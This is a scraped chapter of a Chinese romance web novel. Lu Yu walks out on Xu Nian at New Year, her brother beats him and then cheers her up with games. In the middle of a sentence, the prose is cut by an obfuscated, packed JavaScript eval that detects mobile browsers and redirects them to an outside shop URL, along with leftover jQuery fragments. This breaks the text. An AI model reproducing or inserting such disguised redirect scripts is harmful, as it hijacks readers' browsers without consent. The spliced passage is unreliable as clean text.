默认冷灰
24号文字
方正启体

53. 第 53 章

作者:金鸦渡海本书字数:K更新时间:
    鹿玙提着行李箱下来的时候,许念惊得站起身,桌沿边边的笔被她扫得掉了下去,“大过年的,你要干嘛?”


    鹿玙看着她,脸上没什么表情,拖着行李箱的手用力到指关节凸起,皮肤下细细的紫红血管清晰可见。


    许念跑到他身边又问了遍他要干什么。


    鹿玙不说话,许念急得打圈,鹿玙看了许念好一会,许念的眼睛,许念的神情,都写满焦灼和不安。


    鹿玙撇开眼,不敢再看许念,他脸上有点不耐烦,声音很低也很冷漠,不是平常总温温柔柔的腔调:“待在这里挺没意思的,我不想做什么东城人,也不喜欢身边总是吵吵闹闹。”


    许念的动作一下就停了,难以置信缓了口气:“你说什么?”


    鹿玙垂着眼,平静地重复一遍。


    许念信他的鬼话才怪了,她拦在他面前,从不敢相信变得气愤,“你接了个电话就这样了,你有事瞒着我对不对?!”


    “你想多了。”鹿玙低着头,侧身绕开她,“我只是不想再住这里了。”


    鹿玙执意要走,力气大得许念要挡不住,她只能急切地手脚并用抱住行李箱,朝楼上喊许凛,喊了几句“哥”,尾音开始带了点哭腔。她不明白,她不可能就这样把人放走。


    鹿玙心里乱糟糟,也疼,他闭了闭眼,再睁开时,眼底只剩荒芜的漆黑,他看着许念,和眼眶里已经有泪打转的许念对视。


    “还记得之前凌澈提到的那个队友吗?”他扯扯嘴角,是一个苍白无力的笑,“她来东城了,我要去找她。”


    吕静和尹东杰一起来了,他去找尹东杰,两人势必在一块,他这样说,也没错。


    现在,他也不得不承认自己内心卑劣,要用这种方式把许念推开,让许念对自己死心。


    许念愣住,抱行李箱脱了力,她定定地看着他。


    怎么会……


    鹿玙自己都说过的啊,他和吕静没一点关系,而且吕静对他那么不顾情面,怎么可能呢……


    鹿玙笃定坚决的模样深深扎进许念的心,许念有一万个不相信也被击溃了。


    她固执地望进他瞳孔最亮那处,那里有她的影子。


    她说不上来什么滋味,心弦一根根被拨乱,不甘,难过,气愤,好像都有,到最后汇聚成一个可怜可笑的自己。


    此刻她很不体面,也很不礼貌。


    或许在鹿玙眼里,这段时间她就是一个小丑。


    “很好玩吗?”许念几近崩溃,“私底下是不是还会和她说,我是个傻子?”


    鹿玙张了张嘴,最终只从齿缝间挤出一句,“随你怎么想。”


    他的这些事没有完全解决,只会给身边的人带来无尽麻烦。


    他不会再回到这里,许念这样想,也好,彻底断了吧。


    许凛下楼时,鹿玙已经拖着行李箱走了。见到哥哥,许念眼眶的热泪一瞬间蓄满,大颗大颗砸下,滚烫得要把人烧穿。


    许凛正打得火热的游戏也顾不上了,丢了手机两三步跨过来将许念搂进怀里,拇指轻轻擦着她的眼泪,问怎么了。


    鹿玙走了,许念再怎么瞒再怎么圆,也瞒不住圆不回来,埋在许凛怀里抽抽噎噎把事情说了。


    许凛揉揉许念的脑袋,说了句等着哥,转身冲了出去,他速度快,鹿玙也走得慢,没多久许凛就追上了鹿玙,二话没说揪着鹿玙的衣领砸了几拳下去。


    拳拳到肉,鹿玙痛得闷哼,不闪不避,全数承受。


    许凛脸色沉得发黑,眉眼也不再爽朗,往日当哥的随性模样尽数消失,他松开鹿玙狠狠一推,“狗东西不如,滚!”


    许凛这么教训一通仍觉得不解气,照着鹿玙的小腿骨重重踹了一脚,才冷哼了声转身离开。


    鹿玙踉跄几步,勉强站稳,他垂着头,喘着粗气靠墙缓缓蹲下,这次没有人蹙着眉问他疼不疼,也不会有人小心地为他上药了。


    人在很多瞬间会有天真的想法,到最后都只能败给无能为力。


    现实的荆棘根根入骨,刺得他体无完肤。


    一路走来,兜兜转转,自作自受。


    -


    “许小念,哥带你去找爸妈吧?”许凛揪着许念毛绒外套上的两只熊耳朵晃晃。


    许念两只眼睛湿漉漉的,她现在哪都不想去。


    “那你想吃什么?哥带你去吃。”


    许念还是摇头,喝水都没劲,别说半分食欲的兴致。


    许凛沉默许久,严肃开口,“许小念,你老实和哥说,你两是不是谈了?”


    许念幽幽抬头,瞪向许凛,眼底终于有了点活气,“我要真和他谈了,那他这就是妥妥的渣男!我早就给他大卸八块了!”


    一通吼完,她就萎了下去,下巴抵着膝盖,蜷缩在沙发里。


    就是没谈,是自己一厢情愿。


    半年哪比得过两年。


    鹿玙没错,喜欢谁,离开哪里,都是他的自由。错的是她,误把礼貌当温柔,将馈赠看作殊荣。


    细致的包容,入微的体贴,不计得失花在她身上的钱和时间,大概都是不想两相欠的偿还。


    许凛屈指,轻轻弹过去一个脑瓜崩,“没谈你哭成这样,丢不丢人?”


    “没谈就失恋。”许念扁扁嘴,声音低闷,“哥,我是不是很差劲?”


    “胡说。”许凛捏住她两颊的软肉,微微用力,迫使她露出一个滑稽的表情,“许小念,你听好啊。”


    “你,聪明,勇敢,漂亮,顶天顶地的好,全世界独一份,你怀疑他眼睛真瞎都不能怀疑自己不好。”


    许凛松开手,掌心在她发顶揉了揉,“人生短短三万天,吃喝玩乐,首当其冲,你现在还小,哥不赞同你在谈感情这种事上浪费时间和精力。”


    “再说,谁离了谁不能活?没有鹿玙这狗东西的时候,你不也开开心心,你就当捡了条狗,养了半年,狗又跑回原来那个家了。”


    许念不乐意撅着嘴,眼睛眉毛纷纷蹙起,“哥,你说话真难听。”


    许凛哼笑一声,眼底没什么笑意,更加不乐意,“他都这样欺负我妹了,我还需要为他斟酌词句?”


    更难听的他都不想说。


    养条狗半年还知道摇尾巴,鹿玙这事做得就是难看。


    他要做什么都是个人自由。可他没分寸没界限,心里有其他人,还不清不楚待在许小念身边。这是个什么事?这人简直就是垃圾。


    他不止说话难听,他还没有好脸色,见鹿玙一次揍一次。


    许念把头靠在许凛肩上。


    她哥这么一搅和,她心口那团堵着的郁气慢慢消散,理智也跟着回笼,那点不甘的疑惑探出头来,“哥,你说他会不会是骗我的?他接完电话就不对劲了,是不是有苦衷?”


    许凛揽住她的肩,兄妹俩的头靠在一起。他没有回答那个关于“苦衷”的假设,只是说,“别想了,哥陪着你,哥什么都能做。”


    既然选择了最伤人的方式离开,那么任何理由,都不再是理由。


    许念眯了眯


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103845|193553||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    发酸的双眼。


    今天的每一帧画面都像是隔着一层毛玻璃,模糊又不真实。她到现在仍不愿相信鹿玙真的就此离开了。


    动了动身体,浑身泛着累,她干脆两眼一闭,想到什么说什么。


    “哥。”


    “嗯?”


    “不想看书,不想写作业怎么办?”


    “那就不看不写。”


    “考不上港大怎么办?”


    “哥相信你,不存在这个假设。”


    许念抽着鼻子一笑,“我还以为你会说,考不上去捡破烂呢。”


    “那哪能啊!你哥我,那么有实力,妹妹肯定不会差。”


    “哼哼……”架不住眼皮沉重,许念的声音逐渐低了下去。


    许凛维持着姿势没动,静静坐了一会,直到许念安稳睡着,另一只手摸索着扯过旁边的毛毯,小心翼翼地盖在她身上。


    许念醒来时,屋内一片漆黑,只有窗外远处的路灯透进一点模糊的光,勉强看清家具的摆设和轮廓。


    “醒了?”许凛的声音从头顶传来,“饿不饿?哥带你去吃东西。”


    她动了动,才发现自己枕着她哥的肩膀,从下午睡到了晚上。


    “哥,你怎么不叫醒我?”许念钝钝起身,伸手帮他按摩,“手麻不?我给你按按。”


    许凛动动发麻的手臂,笑道,“叫醒你干嘛,我有那么欠吗?累了还不让人休息。”


    刘姨回家了,许念不想出门,许凛便简单下了两碗面条,各加了两个荷包蛋。


    吃完东西,许凛洗完碗,坐回许念身边,看了她片刻,突然伸手捏住她的鼻子。


    呼吸受阻,许念挣扎着拍掉他的手控诉,“哥,你干嘛!?”


    许凛挑眉,“还会说话呢,我以为你变成没有灵魂的洋娃娃了。”


    下的面和蛋全吃完了,他才松了口气,觉得许念能吃能喝能睡,大概率没什么事了,哪知不过一会,又成了这副没有生气的模样。


    许念撇撇嘴哼一声,转过身,背对他,继续那机械性地刷新。


    她明白这样做无意义,她想停下,可手不听使唤,心里那点残余的念想在闲暇时被放大,她期待有个着落,有个回应。


    只是界面上那个置顶的特别关心就像一潭深幽的死水,无波无澜无反应。


    她感到矛盾和烦躁,既排斥鹿玙今天的行为,讨厌他今天说的那些话,又希望他能回过头来说今天的一切都是假的。


    许凛看不下去了,伸手敲敲她的脑袋,“许小念,今晚陪哥打游戏。”


    “不要。”许念斗地主似的一声喊。


    许凛无视这句拒绝的话,不由分说将人从沙发上拽起来,一拖二拉三哄带上了三楼画室对面那间电竞房。


    “你用这个。”他从柜子里翻出一粉一黑两个头戴式耳机,将粉色那个罩在许念头上。


    许凛忙前忙后。调整座椅高度,选定游戏角色,从一楼搜刮来零食饮料,最后把鼠标往许念手中一塞,“康忙北鼻,开干!”


    许念心不在焉被迫开始操纵角色,几场下来,许凛大呼小叫的指挥和敌人接踵而至的攻击,使她的注意力不得不高度集中起来,甚至渐渐能和许凛打上一场漂亮的配合。


    那些盘踞在心头的杂乱思绪,暂时被激烈的战局冲散。偶尔走神想起,也会立刻被许凛一句“小心背后”或“漂亮”给拉回来。


    玩到后半夜,许念哈欠连天,眼皮开始打架。再没闲心东想西想,倒头就进了梦里。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)